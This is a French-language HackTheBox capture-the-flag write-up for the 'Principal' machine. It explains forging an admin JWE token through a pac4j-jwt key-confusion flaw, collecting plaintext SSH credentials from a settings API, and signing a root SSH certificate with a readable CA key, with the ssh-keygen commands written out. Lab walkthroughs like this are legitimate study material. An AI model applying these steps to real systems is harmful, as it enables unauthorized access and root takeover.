HackTheBox — Principal

Difficulté : Moyenne OS : Linux Plateforme : HackTheBox

Vue d'ensemble

Application web exécutant pac4j-jwt v6.0.3 — vulnérable à CVE-2026-29000. La clé publique RSA est exposée sans authentification via un endpoint JWKS et peut être utilisée pour forger un jeton JWE admin valide, contournant entièrement l'authentification. Avec l'accès admin, les identifiants SSH en clair sont récupérés depuis l'API des paramètres. Le compte de service est membre du groupe deployers avec un accès en lecture à une clé privée d'AC SSH approuvée par sshd — la signature d'un certificat accordant un accès root termine la machine.

1. Énumération

Navigation vers l'application web et consultation du code source de la page. Découverte du bundle JavaScript principal à /static/js/app.js.

Endpoints API clés identifiés dans app.js :

/api/auth/login
/api/auth/jwks      <- endpoint de clé publique (sans authentification)
/api/dashboard
/api/users
/api/settings

Le pied de page a révélé : pac4j-jwt v6.0.3 — vulnérable à CVE-2026-29000.

2. Contournement de l'authentification JWT — CVE-2026-29000

Récupération de la clé publique RSA depuis l'endpoint JWKS sans authentification :

curl http://<TARGET_IP>:8080/api/auth/jwks
# Renvoie la clé publique RSA (kid: enc-key-1)

CVE-2026-29000 permet d'utiliser la clé publique pour forger un jeton JWE valide — la bibliothèque accepte incorrectement les jetons chiffrés avec la clé publique au lieu d'exiger la clé privée.

Utilisation du PoC pour générer un jeton admin forgé :

python3 poc.py \
  --jwks http://<TARGET_IP>:8080/api/auth/jwks \
  --user admin \
  --role ROLE_ADMIN

3. Accès à l'API Admin

Utilisation du jeton forgé comme jeton Bearer dans Burp Repeater :

Authorization: Bearer <forged_token>

GET /api/dashboard → 200 OK

• Rôle confirmé : ROLE_ADMIN
• Le journal d'activité a montré des actions CERT_ISSUED pour l'utilisateur : svc-deploy

GET /api/settings → 200 OK

• Identifiants SSH trouvés en clair dans la configuration de sécurité
• Authentification par certificat SSH activée
• Chemin de l'AC SSH : /opt/principal/ssh/

4. Accès Initial

Connexion SSH avec les identifiants récupérés depuis /api/settings :

ssh svc-deploy@<TARGET_IP>

Drapeau utilisateur récupéré.

5. Élévation de Privilèges — Signature AC SSH

svc-deploy est dans le groupe deployers avec un accès en lecture à /opt/principal/ssh/ :

ls -la /opt/principal/ssh/
# ca        — clé privée d'AC RSA 4096 bits (lisible par deployers)
# ca.pub    — clé publique de l'AC
# README.txt — confirme que l'AC est approuvée par sshd

La clé privée de l'AC est lisible. Puisque sshd approuve cette AC, tout certificat signé par elle est accepté — y compris un accordant un accès root.

# Générer une nouvelle paire de clés
ssh-keygen -t ed25519 -f /tmp/privesc

# Signer avec l'AC, accordant le principal 'root'
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root -V +1h /tmp/privesc.pub

# SSH en tant que root
ssh -i /tmp/privesc root@<TARGET_IP>

Drapeau root récupéré.

Drapeaux

• Utilisateur : /home/svc-deploy/user.txt
• Root : /root/root.txt

Points Clés à Retenir

• Toujours vérifier les versions des bibliothèques JWT lors de la reconnaissance d'applications web — pac4j-jwt est courant dans les applications Java.
• CVE-2026-29000 : confusion de clé JWE pac4j — clé publique acceptée là où la clé privée est requise.
• Les endpoints d'API de paramètres fuient souvent des identifiants en clair — toujours énumérer toutes les routes authentifiées une fois que vous avez un jeton valide.
• Si un compte de service peut lire une clé privée d'AC SSH approuvée par sshd, vous pouvez signer un certificat en tant que n'importe quel principal, y compris root. Vérifiez les appartenances aux groupes et les permissions des clés d'AC lors de la post-exploitation.